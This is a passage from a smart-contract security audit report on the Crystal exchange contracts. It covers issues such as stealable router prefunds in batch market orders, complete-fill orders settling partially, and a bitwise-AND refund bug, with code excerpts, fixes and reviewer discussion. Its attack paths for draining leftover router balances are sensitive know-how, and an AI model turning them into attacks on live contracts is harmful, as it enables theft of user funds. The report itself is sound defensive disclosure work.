- Any work-around to fix the issue (e.g. governance has to set minSize to a smaller value)
- Re-deploy

by itself is already Medium. So if the issue is fixable by governance, it's still incorrect behaviour causing problems to user and governance, reputation hit etc., making it enough for a Medium.

Issue M-3: Batch market orders can debit the taker's wallet while leaving router-prefunded tokens publicly stealable and causing a direct loss of funds

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/23

Summary

The batch market-order path supports `fromInternal = true`, meaning the trade input should be taken from the shared router balance. However, `batchOrders()` doesn't propagate this flag into bit 232 of the `orderInfo` passed to `_marketOrder()`. Consequently, when the order matches an externally settled maker, `_marketOrder()` may pull the input directly from the taker's wallet. The direct payment is not included in deferred settlement, so the intended router prefund remains in the globally withdrawable router slot and can be claimed by anyone. The market-to-limit branch of `replaceOrder()` contains the same omission.

Vulnerability Detail

The standalone `marketOrder()` path correctly forwards `fromInternal` in bit 232:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1855-L1862

```
orderInfo =
    orderFlags |
    (((options >> 68) & 1) << 236) |
    (((options >> 64) & 1) << 232) |
    uint160(user);
```

However, the batch market-order path omits bit 232:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L2126-L2135

```
(, param1, , settlementDelta) =
    _marketOrder(
        param2,
        param1,
        settlementDelta |
            (1 << 240) |
            (balanceMode << 236) |
            (cloid << 208) |
            (userId << 160) |
```

```
            uint160(user)
    );
```

Therefore, `_marketOrder()` interprets `fromInternal` as false. When matching an externally settled maker, it attempts to pay the maker directly from the taker's wallet:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1226-L1244

```
if (
    ((_orderInfo >> 236) & 0x1) == 0 &&
    ((_orderInfo >> 232) & 0x1) == 0
) {
    try IERC20(
        isBuy ? quoteAsset : baseAsset
    ).transferFrom(
        msg.sender,
        owner,
        sizeLeft
    ) {
    } catch {
        settlementDelta +=
            sizeLeft << 128;
    }
}
```

If `transferFrom()` succeeds, the payment is not added to `settlementDelta`. Final settlement therefore does not consume the corresponding router prefund. For example:

```
Router prefund:                      100 tokens
Taker wallet balance and allowance: 100+ tokens
Required trade input:                100 tokens
```

Expected result:

```
Router balance: 100 -> 0
Wallet balance: unchanged
```

Actual result:

```
Router balance: remains 100 tokens
Wallet balance: decreases by 100 tokens
```

The remaining router balance can then be withdrawn by anyone:

```
function routerWithdraw(
    address to,
    address token,
    uint256 amount
```

```
) external nonReentrant {
    uint256 balance =
        tokenBalances[0][token];

    if (amount == 0) {
        amount = uint128(balance);
    }

    tokenBalances[0][token] =
        balance - amount;

    IERC20(token).transfer(to, amount);
}
```

Impact

The taker can lose up to 100% of the amount prefunded for the trade, in addition to the wallet funds unexpectedly used to complete it. An attacker can place the externally settled maker order that triggers the direct-transfer branch and then withdraw the untouched router prefund. The loss is not bounded by the protocol and can be arbitrarily large.

Tool Used

Manual Review

Recommendation

Propagate the selected `fromInternal` flag into bit 232.

Discussion

legionevm

i'd bring this down to med as it's so niche you have to build an external integration that both deposits into the protocol and also approves it and has sufficient balances for the trade to go through. both paths in Crystal.sol that call batch order on crystalmarket only deposit eth -> weth into the router slot, but then sweep it at the end of the tx. calling batchorders with frominternal flag isnt practical as a stand alone user as there would be no funds in router slot if the tx isnt atomic as they would already be swept, so this vulnerability only loses funds when a user builds a custom contract that's non standard in how it stores balances in both the router slot and through approvals.

rodiontr

> i'd bring this down to med as it's so niche you have to build an external integration that both deposits into the protocol and also approves it and has sufficient balances for the trade to go through. both paths in Crystal.sol that call batch order on crystalmarket only deposit eth -> weth into the router slot, but then sweep it at the end of the tx. calling batchorders with frominternal flag isnt practical as a stand alone user as there would be no funds in router slot if the tx isnt atomic as they would already be swept, so this vulnerability only loses funds when a user builds a custom contract that's non standard in how it stores balances in both the router slot and through approvals.

can't protocol's native `multiBatchOrders()` create this state or am i missing something? I mean the flow that can create exactly the vulnerable state using ordinary supported options. So consider this: `multiBatchOrders()` natively executes sequential batches, and `_settleBalances()` allows Batch 1 to credit any ERC-20 output to slot 0 with `toInternal = true`, followed by Batch 2 consuming it with `fromInternal = true`. Because the missing bit causes Batch 2 to pull from the user's wallet instead, the non-WETH intermediate remains in slot 0; `multiBatchOrders()` sweeps only WETH, so anyone can withdraw that residue.

legionevm

yeah but there's no sweep action so i don't think that's a safe pattern regardless as you can't really guarantee batch 2 sweeps the entire output of batch 1

rodiontr

> yeah but there's no sweep action so i don't think that's a safe pattern regardless as you can't really guarantee batch 2 sweeps the entire output of batch 1

agree, downgrading to med

Issue M-4: STP can cause complete-fill orders to settle partially instead of reverting

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/24

Summary

A complete-fill order must either fill the entire requested amount or revert without mutation. However, when STP mode `2` or `3` cancels the remaining taker quantity, `_marketOrder()` sets `sizeLeft = 0`, which is also used to represent a successful full fill. Consequently, fills completed before the self-match are committed even though the complete-fill requirement was not satisfied. Under STP mode `3`, the user's resting maker order is also canceled.

Vulnerability Detail

When the taker encounters its own resting order, STP modes `2` and `3` cancel the remaining taker quantity by setting `sizeLeft` to zero:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1178-L1203

```
if (((_orderInfo >> 240) & 0xF) == 1) {
    continue;
} else {
    // Cancel taker order (STP mode 2 or 3)
    sizeLeft = 0;
    break;
}
```

The outer loop then interprets `sizeLeft == 0` as successful completion:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1384-L1417

```
if (
    sizeLeft == 0 ||
    (
        (orderInfo >> 252) == 3 &&
        gasleft() < 200000
    )
) {
    break;
}
```

For example:

```
Ask at price 100: third party sells 50 base
Ask at price 101: taker's own order sells 50 base

Taker order:
- Exact-output buy of 100 base
- Complete-fill order
- STP mode 2
```

The taker first buys `50` base from the third party. When it reaches its own ask, STP cancels the remaining `50` by setting `sizeLeft = 0`. The transaction succeeds with only half of the requested output.

Under STP mode `3`, the earlier partial fill is committed and the user's resting ask is also canceled.

This contradicts the documented invariant:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1384-L1417

```
Complete-fill orders must revert without mutation if constraints
cannot be satisfied.
```

Impact

Complete-fill orders can unexpectedly behave like partial-fill orders, leaving users with incomplete positions despite explicitly requesting all-or-nothing execution. This can break exact-sized hedges liquidations, repayments, and atomic batches that depend on receiving the complete requested amount. Under STP mode `3`, both the partial trade and cancellation of the user's resting maker order remain committed.

Tool Used

Manual Review

Recommendation

Track STP cancellation separately from successful completion. Before committing execution, revert when STP prevented a complete-fill order from satisfying its full request:

```
+if (
+    takerCancelledBySTP &&
+    (orderInfo >> 252) == 1
+) {
```

```
+    revert ICrystal.ActionFailed();
+}
```

An alternative fix can be just rejecting or disabling STP modes `2` and `3` for complete-fill orders.

Discussion

legionevm

i'd say that STP mode 2 and 3 are kind of counter intuitive to complete-fill, so wouldn't this be sort of a footgun error especially in the case of breaking exact-sized hedges/liquidations etc? additionally there isn't any DOS or fund loss which is the criteria for medium right?

rodiontr

> i'd say that STP mode 2 and 3 are kind of counter intuitive to complete-fill, so wouldn't this be sort of a footgun error especially in the case of breaking exact-sized hedges/liquidations etc? additionally there isn't any DOS or fund loss which is the criteria for medium right?

yep but the criteria for medium is not only DoS or fund loss, that's also breaking core functionality which in this case is an exact-sized hedge or other all-or-nothing strategy can pay for and commit a partial position despite explicitly requiring full execution. Regarding the footgun error, i believe for an ordinary IOC/partial order, preserving earlier fills and expiring the remaining taker quantity is correct but for a complete-fill order, an STP-triggered expiry means the requested quantity was not fully executed, so the earlier fills must roll back. Instead, the implementation sets `sizeLeft = 0`, removing the distinction between ”fully filled” and ”remainder expired by STP”. Also, technically, STP determines which order is expired when a self-match would occur and complete-fill determines whether any partial execution may be committed so this governs different properties (2 different independently supported protections) imo

legionevm

in an all-or-nothing scenario though, isn't it a user error to set STP to expire taker or expire both, when the correct mode would almost certainly be expire maker or the default of no STP? i'd just say that the specific scenario of STP = 2 or 3 and complete fill requires a high amount of optionality, especially considering that all swap paths through the router default STP to 0, fallback, batchorders, and replace order default STP to 1 leaving only the naked marketOrder path with a specific and kind of counter intuitive setting

rodiontr

> in an all-or-nothing scenario though, isn't it a user error to set STP to expire taker or expire both, when the correct mode would almost certainly be expire maker or the default of no STP? i'd just say that the specific scenario of STP = 2 or 3 and complete fill requires a high amount of optionality, especially considering that all swap paths

> through the router default STP to 0, fallback, batchorders, and replace order default STP to 1 leaving only the naked marketOrder path with a specific and kind of counter intuitive setting

that makes sense but can't `EXPIRE_TAKER` still be a rational choice for complete-fill when the user wants, for example, to preserve their existing maker order and abort the incoming taker ? agree that the combination is available only through the direct `marketOrder()` endpoint and is not selected by the default router or batch paths. However, that is a likelihood argument rather than user error. Sherlock rules state that likelihood is not considered when determining validity or severity. So overall a user may intentionally want to preserve their existing maker order and its queue priority while aborting the incoming taker if it would self-match

legionevm

yeah EXPIRE_TAKER is definitely a valid choice if a user wants to preserve their existing maker order, but i'd imagine in a priority all-or-nothing tx such as a liquidation or repayment as you mentioned it would likely not be the best option as reverting the taker order would cause the transaction to fail regardless, making it a user error in that specific scenario

rodiontr

> yeah EXPIRE_TAKER is definitely a valid choice if a user wants to preserve their existing maker order, but i'd imagine in a priority all-or-nothing tx such as a liquidation or repayment as you mentioned it would likely not be the best option as reverting the taker order would cause the transaction to fail regardless, making it a user error in that specific scenario

agree, liquidation/repayment are not the best examples probably but it can be, for example, a market maker submitting an exact-sized hedge that must execute fully against external liquidity while preserving an existing quote. The intended outcome when external liquidity is insufficient will be no trade but the actual one is an unintended partial position

legionevm

a market maker shouldn't be directly using the marketOrder endpoint, but i realized that STP modes 2 and 3 weren't available in fallback. in my fix (https://github.com/CrystalExch/Crystal-Contracts/pull/22) i've added the ability for market makers to specify STP in fallback as well as fixing the original market order issue

Issue L-1: Leftover native token refund in `fallback()` is gated by a bitwise AND instead of a logical AND, so refunds are silently skipped

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/7

Summary

`Crystal.fallback()` refunds any unspent native token balance to the caller only when `and(callvalue(), selfbalance())` is non-zero. `and` in Yul is a bitwise operator, not a logical one, so the refund is skipped whenever `msg.value` and the remaining contract balance have no set bit in common – even if both are non-zero.

Root Cause

In Crystal.sol#L287-L289 the refund condition is:

```
if and(callvalue(), selfbalance()) {
    pop(call(gas(), caller(), selfbalance(), 0, 0, 0, 0))
}
```

The intention here is obviously `msg.value != 0` **and** `address(this).balance != 0`, which is how the equivalent refunds are written everywhere else in the contract (`if (msg.value != 0) { ... if (balance != 0) { ... } }` in `addLiquidity()` and `batchOrders()`). Yul has no logical AND, so `and(x, y)` computes the bitwise AND instead. The correct form is `and(iszero(iszero(callvalue())), iszero(iszero(selfbalance())))`.

Internal Pre-conditions

1. The caller sends `msg.value > 0` with the batch (the native token funds the optional `coinbase()` priority bids).
2. At the end of the function, contract retains a non-zero balance `L = selfbalance()` (i.e. `msg.value` exceeds the sum of the per-batch bids).
3. `msg.value & L == 0` (bitwise AND)

External Pre-conditions

None.

Attack Path

No attacker is needed; the condition mis-fires during normal use, and a second party can then claim the leftover funds.

1. Alice, a registered user, calls the fallback with one or more market batches and `msg.value = 1 ether`, attaching priority bids totalling `1e18 - 1000` wei.
2. The loop executes the batches, `totalBid` is forwarded to `block.coinbase`, and `selfbalance()` is left at `1000` wei.
3. The guard evaluates `1e18 & 1000`. Since `1e18 = 0xde0b6b3a7640000` has its low 18 bits clear and `1000` occupies bits 3–9, the result is `0`. The refund block is skipped and Alice's `1000` wei stays in the contract. No revert, no event – the loss is silent.
4. The balance accumulates across every such call (and across any ETH force-sent through the open `receive()`).
5. Bob, any registered user, later calls one of the functions which sends the remainder of native balance in the end, to get the leftover funds.

Impact

Users lose the unspent portion of the native token they send with a batch whenever their `msg.value` and the leftover are bit-disjoint. The refund transfer is also `pop`ped, so the failure is completely silent – the transaction succeeds and the user has no signal that the change was withheld.

The leftover balance is likely dust and the user can also recover it using any other function which sends remainder of native balance to caller, thus severity is Low.

Mitigation

Use a logical condition, matching the refund logic already used in `addLiquidity()` and `batchOrders()`:

```
if and(iszero(iszero(callvalue())), iszero(iszero(selfbalance()))) {
    pop(call(gas(), caller(), selfbalance(), 0, 0, 0, 0))
}
```

Alternatively, only check `selfBalance()` as many other functions in the code: no need to skip refunding contract remainder if no funds were sent by the caller (any leftover from previous function calls belong to the caller anyway).

Issue L-2: Liquidity withdrawal can burn all LP shares while retaining part of the user's pro-rata assets

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/8

Summary

`removeLiquidity()` initially calculates the user's proportional quote and base withdrawals, but may subsequently reduce one of those amounts to prevent the post-withdrawal AMM price from crossing the order book. The full LP amount is still burned, while the retained assets remain in the pool and accrue to remaining LP holders.

Vulnerability Detail

The function burns the requested LP tokens and calculates the corresponding pro-rata reserve amounts:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L2269-L2278

```
amountQuote =
    (liquidity * reserveQuote) / _totalSupply;

amountBase =
    (liquidity * reserveBase) / _totalSupply;

reserveQuote -= uint112(amountQuote);
reserveBase -= uint112(amountBase);
```

If rounding moves the resulting AMM price across a resting order, the function increases one reserve again by reducing the user's payout:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L2280-L2288

```
amountQuote -=
    newReserveQuote - reserveQuote;

reserveQuote = newReserveQuote;
```

No LP shares are restored for the retained assets. Therefore, after a successful withdrawal, the user has burned their complete LP position but received less than its original pro-rata reserve entitlement. This contradicts the documented invariant:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/README.md#amm-and-liquidity

```
Removing LP liquidity must burn exactly the requested liquidity
and return quote/base amounts pro-rata to reserves and total supply.
```

Impact

A withdrawing LP can lose part of their proportional reserve entitlement, with the retained value transferred economically to the remaining LP holders. Strict `amountQuoteMin` and `amountBaseMin` values cause the transaction to revert, but integrations using zero or sufficiently loose minimums may accept the reduced payout. Even with strict minimums, nearby order-book liquidity can unexpectedly prevent otherwise valid withdrawals.

Tool Used

Manual Review

Recommendation

Consider not reducing reduce a user's pro-rata withdrawal after determining the number of LP shares to burn.

Discussion

legionevm

In this case the invariant is wrong, the withdrawal should go through over a revert as long as there is no easy way to manipulate the feature into making a user lose out on a significant amount of value beyond rounding error

rodiontr

> In this case the invariant is wrong, the withdrawal should go through over a revert as long as there is no easy way to manipulate the feature into making a user lose out on a significant amount of value beyond rounding error

got it, ty, downgrading to low/info in this case as a spec mismatch

Issue L-3: Dynamic AMM prices are rounded without normalizing by `tickSize`

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/9

Summary

For dynamic market types, `_toValidPrice()` expects a price normalized by `tickSize`, but `getPrice()` and `_marketOrder()` pass the raw AMM price directly. Consequently, returned and emitted AMM prices may not correspond to valid market ticks.

Vulnerability Detail

Dynamic price conversion first normalizes the raw price by `tickSize`:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/libraries/CrystalMath.sol#L72-L74

```
function _priceToTick(uint256 p, uint256 tickSize) internal pure returns (uint256) {
        unchecked {
            p /= tickSize;
```

Likewise, converting a tick back to a price restores `tickSize`:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/libraries/CrystalMath.sol#L54-L59

```
function _tickToPrice(
    uint256 t,
    uint256 tickSize
) internal pure returns (uint256) {
    unchecked {
        if (t <= 100_000) {
            return t * tickSize;
        }
```

However, for `marketType != 0`, `getPrice()` calls `_toValidPrice()` directly on the raw AMM price:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L705-L734

```
ammPrice =
    marketType == 0
        ? ((ammPrice + tickSize - 1) / tickSize) *
```

```
            tickSize
        : CM._toValidPrice(ammPrice, true);
```

For example:

```
tickSize = 10
raw AMM price = 151
```

Valid prices below the dynamic-grid threshold are `150`, `160`, `170`, etc. However, `_toValidPrice(151, true)` returns `151`, which is not a valid market tick. The same omission affects the AMM start and end prices calculated in `_marketOrder()`:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1011-L1029
https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1056-L1073

Impact

`getPrice()` can return off-grid bid, ask, and midpoint values, while `Trade` events can emit invalid AMM start and end prices.

Tool Used

Manual Review

Recommendation

Normalize the raw price before calling `_toValidPrice()` and multiply the result by `tickSize` afterward. This normalization has to applied to the AMM bid, ask, midpoint and `_marketOrder()` event-price calculations.

Issue L-4: Documentation incorrectly states that fee updates do not affect existing orders

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/10

Summary

The README states that fee and rebate parameter updates must not mutate existing orders. However, existing resting orders do not snapshot their `makerRebate`, and all later fills use the current market-wide value.

Vulnerability Detail

`changeMarketParams()` immediately updates the market-wide rebate:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L973-L986

```
m.minSize =
    uint40(
        (newMinSize << 20) |
            minSizeZeroes
    );

m.takerFee = newTakerFee;
m.makerRebate = newMakerRebate;
m.isAMMEnabled = isAMMEnabled;
```

Orders store their size, price, owner, and settlement mode, but do not store the rebate applicable when they were placed. When an existing order is later filled, settlement reads the current `m.makerRebate`:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1206-L1219

```
uint256 adjustedSizeLeft =
    (
        sizeLeft *
        uint256(m.makerRebate)
    ) /
    100000;
```

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1283-L1298

```
transferAmount =
    (
        (
            currentFillAmountOut *
            scaleFactor
        ) /
        price *
        100000
    ) /
    uint256(m.makerRebate);
```

Consequently, fills occurring before and after a rebate update can settle under different economic terms, despite belonging to the same resting order. This conflicts with the current README statement:

```
Fee and rebate parameter updates must respect protocol bounds
and must not mutate existing orders or user balances by
configuration change alone.
```

Impact

Makers and integrations may incorrectly assume that the rebate applicable when an order is placed remains fixed for that order. In reality, the order's eventual settlement terms depend on the rebate configured at execution time.

Tool Used

Manual Review

Recommendation

Update the README and relevant NatSpec to explicitly state that the current market-wide `makerRebate` is applied when an order executes, including to orders placed before the parameter update.

Issue L-5: Graduated-market closure cannot be unqueued because the wrong mapping key is deleted

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/11

Summary

A graduated launchpad market is queued for closure under its market address, but `unqueueCloseInactiveMarket()` deletes the entry associated with the token address. Governance therefore can't cancel the actual pending closure request.

Vulnerability Detail

For an ungraduated token, the pending closure is stored under the token address. For a graduated token, it is stored under the graduated market address:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L2216-L2231

```
pendingClosedMarkets[market] = block.timestamp;
```

However, the unqueue function deletes the token-address entry in both branches:

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L2236-L2245

```
if (market == address(0) || market == placeholder) {
          require(msg.sender == gov, ICrystal.Unauthorized(msg.sender));
          delete pendingClosedMarkets[token];
      } else {
          require(msg.sender == gov, ICrystal.Unauthorized(msg.sender));
          delete pendingClosedMarkets[token];
      }
```

For a graduated token, the actual entry remains at:

```
pendingClosedMarkets[market]
```

and the closure remains executable.

Impact

Governance can't cancel an accidentally or incorrectly queued graduated-market closure. Governance can avoid executing it and wait for the execution window to expire,

which limits the impact, but the intended cancellation mechanism doesn't function.

Tool Used

Manual Review

Recommendation

Delete the entry using the same key used when the closure was queued:

```
} else {
    require(
        msg.sender == gov,
        ICrystal.Unauthorized(msg.sender)
    );

+    delete pendingClosedMarkets[market];
}
```

Issue L-6: Full bid fills can transfer maker quote for zero base input

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/13

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

`CrystalMarket._marketOrder()` rounds the required taker input down in the full-fill branch, so a small valid bid can be filled while the taker transfers zero base and receives the maker's quote.

Vulnerability Detail

In `CrystalMarket._marketOrder()`, the full-order branch calculates `transferAmount` with floor division:

```
if (isBuy) {
    transferAmount = (((currentFillAmountOut * price) / scaleFactor) * 100000) /
    ↪  uint256(m.makerRebate);
} else {
    transferAmount = (((currentFillAmountOut * scaleFactor) / price) * 100000) /
    ↪  uint256(m.makerRebate);
}
```

For a sell taker filling a bid, `transferAmount` is the base amount the taker must provide. If `currentFillAmountOut * scaleFactor < price`, the expression rounds to zero. The order is still cleared and `amountOut` is increased by the maker's full quote size.

Example:

- bid size is `99` quote
- `scaleFactor = 1`
- `price = 100`
- required base input is `floor(99 * 1 / 100) = 0`

As a result, the taker can consume the bid, receive `99` quote, and transfer zero base.

Impact

Makers can lose the full quote value of affected small bids for zero base input. This violates fill conservation because maker locked input decreases while maker output does not increase.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1292-L1295

Tool Used

Manual Review

Recommendation

Use ceiling rounding for the full-fill exact-output input calculation. Also reject bid orders whose quote size cannot convert to at least one base unit at the order price.

Issue L-7: Exact-output multi-hop swaps leak intermediate surplus from the router slot

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/14

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

`Crystal.exactOutputSwap()` relies on `getAmountsIn()` price-level quotes, but execution spends against individual orders. When the quote overproduces an intermediate token, the surplus remains in the public router slot and can be withdrawn by anyone.

Vulnerability Detail

`exactOutputSwap()` executes each hop with precomputed output-focused `amounts`. For intermediate hops, it routes output through `tokenBalances[0]`:

```
uint256 options = ((i != 0 || path[i] == eth) ? (1 << 64) : 0)
    | ((i != path.length - 2 || path[i + 1] == eth || to != msg.sender) ? (1 << 60)
    ↪  : 0);
...
(amounts[i], , ) = abi.decode(ret, (uint256, uint256, uint256));
```

The precomputed `getAmountsIn()` amount can be higher than the real amount consumed by a later `marketOrder()` because quote aggregation is done by price level while execution fills individual orders. The unused intermediate token is not refunded to the swap caller.

That surplus is left in `tokenBalances[0]`, and `routerWithdraw()` explicitly lets anyone withdraw from the router slot.

Impact

Users can lose intermediate assets from exact-output multi-hop swaps. The loss is bounded by the quote/execution rounding mismatch per affected hop, but any leftover balance in the router slot can be harvested by a third party.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L1486-L1499

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L1532-L1550

Tool Used

Manual Review

Recommendation

Track each intermediate router balance before and after the hop and refund any surplus to the swap caller. Alternatively, make exact-output quotes execution-exact by simulating the same per-order fill rounding used by `_marketOrder()`.

Issue L-8: Closed graduated launchpad markets remain routable

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/15

Summary

`executeCloseInactiveMarket()` closes a graduated launchpad market without clearing `getMarketByTokens`, so routed launchpad helpers can still resolve to a market governance intended to retire.

Vulnerability Detail

When a launchpad token graduates, `_buy()` stores the graduated market as the token-pair route:

```
getMarketByTokens[weth][token] = market;
getMarketByTokens[token][weth] = market;
```

The graduated branch of `executeCloseInactiveMarket()` later sets `m.createTimestamp = 0`, removes almost all zero-address LP liquidity, credits recovered assets to governance, and re-enables the AMM:

```
m.createTimestamp = 0;
...
(amountQuote, amountBase) = ICrystal(address(this)).removeLiquidity(market,
↪  address(this), liquidity - 100000, 0, 0);
claimableRewards[m.quoteAsset][gov] += amountQuote;
claimableRewards[m.baseAsset][gov] += amountBase;
_getMarket[market].isAMMEnabled = true;
```

The branch does not delete either route mapping. As a result, `sell()`, `quoteBuy()`, and `quoteSell()` can continue resolving the closed market through `getMarketByTokens[weth][token]`.

Impact

Governance cannot fully retire a graduated launchpad market from routed access. Users and integrations can keep quoting or trading through a market after the inactive-close operation removed protocol-owned liquidity.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L440-L441

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L2267-L2281

Tool Used

Manual Review

Recommendation

Clear both route mappings in the graduated close branch:

```
delete getMarketByTokens[weth][token];
delete getMarketByTokens[token][weth];
```

If the market is intended to remain accessible, rename the function and events so they do not imply the market is closed.

Issue L-9: Exact-output MTL remainders post incorrectly sized maker orders

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/16

Summary

`CrystalMarket._marketOrder()` converts exact-output market-to-limit remainders into maker orders using inconsistent fee/rebate math, so the fallback order can be larger than the user's remaining exact-output intent.

Vulnerability Detail

When a market-to-limit order reaches `worstPrice`, the unfilled remainder is posted as a limit order. For exact-output buy remainders, the fallback bid is sized without applying `makerRebate`:

```
limitSize = (((limitSize - amountOut) * limitPrice) / scaleFactor);
```

For exact-output sell remainders, the fallback ask uses `takerFee`:

```
limitSize = (((limitSize - _amountOut) * scaleFactor) / limitPrice) *
↪  uint256(m.takerFee) / 100000;
```

The fallback order is maker liquidity. Later fills of that order settle with `makerRebate`, not taker fee math. If `makerRebate < 100000`, the posted order can represent more demand than the original exact-output remainder.

For example, an exact-output buy remainder for `100_000` base at `price = 100`, `scaleFactor = 100`, and `makerRebate = 99_800` should post a `99_800` quote bid. The current branch posts `100_000` quote, so a later taker can transfer `100_200` base and the original user receives more base than requested.

Impact

Exact-output market-to-limit orders do not preserve the user's remaining order intent. The protocol can convert the unfilled remainder into an oversized maker order, causing later fills to move more output than requested.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1140

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/CrystalMarket.sol#L1147

Tool Used

Manual Review

Recommendation

Size exact-output fallback maker orders with `makerRebate`, not `takerFee`, and apply the same maker-side settlement convention that future fills will use.

Discussion

legionevm

for exact output sell isn't it less not more if takerfee > makerrebate? so the extra size of limit order is basically equivalent to the maker rebate right?

legionevm

could you please explain the rationale for med? the extra size or ”loss” is limited to the maker rebate, which is set at 0.005%, but even then it's an extra spend that is executed at the intentional price so the funds aren't necessarily lost

g-lightspeed

> could you please explain the rationale for med? the extra size or ”loss” is limited to the maker rebate, which is set at 0.005%, but even then it's an extra spend that is executed at the intentional price so the funds aren't necessarily lost

Downgraded to low

Issue L-10: Exact-output launchpad graduation quotes can count AMM reserves twice

Source: https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/issues/17

Summary

`quoteBuy(false, token, 0, amountOut)` manually simulates graduated AMM liquidity, then can delegate a remainder quote to `CrystalMarket.getQuote()` using stale stored reserves. The view can quote the same AMM reserves twice and return a buy that cannot execute.

Vulnerability Detail

In the exact-output graduation path, `quoteBuy()` first simulates the bonding-curve leg and one graduated AMM slice. It then adds the simulated AMM input and output:

```
inputAmount += ammAmountIn;
outputAmount += ammAmountOut;
```

If `outputAmount < amountOut`, the function delegates the remaining quote to the graduated market:

```
uint256 newInputAmount = isExactInput ? (amountIn - inputAmount) : (amountOut -
↪  outputAmount);
bytes memory ret = abi.encodeWithSelector(CrystalMarket.getQuote.selector, true,
↪  isExactInput, true, newInputAmount, 0);
...
(result, ret) = graduatedMarket.delegatecall(ret);
```

The delegated `getQuote()` reads the market's stored `reserveQuote` and `reserveBase`. It does not receive the manually simulated post-AMM reserves, so it can quote additional output from reserves that were already counted in the first simulation.

The state-changing `buy()` path does not consume the AMM twice in this way. It updates graduation/routing state and delegates execution once, so the matching buy can revert even when `quoteBuy()` returned success.

An example:

```
quoteBuy

quoteBuy amountOut = 999,999,959.901553953410499312 tokens
quotedInput        = 40,013,804.349175251835174689 ETH
quote output       = 999,999,959.901553953410499312 tokens
```

```
graduated          = true


buy(false, token, quotedInput, amountOut)

Reverts with ActionFailed
```

Impact

`quoteBuy()` can return a successful exact-output launchpad quote that cannot be executed with the quoted input in the same state. Users and integrations can waste gas or fail composed flows at the graduation boundary.

Code Snippet

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L2128-L2139

https://github.com/sherlock-audit/2026-07-crystal-audit-june-8th-2026/blob/main/Crystal-Contracts/contracts/core/Crystal.sol#L2142-L2154

Tool Used

Manual Review

Recommendation

Do not delegate a remainder quote over stale reserves after manually simulating graduated AMM liquidity. Carry the updated reserves into the remainder quote, quote the full post-graduation remainder through a single market path, or revert when an exact-output graduation quote would require a second quote after the manual AMM slice.

Issue L-11: Decreased ask orders can remain below the minimum quote size

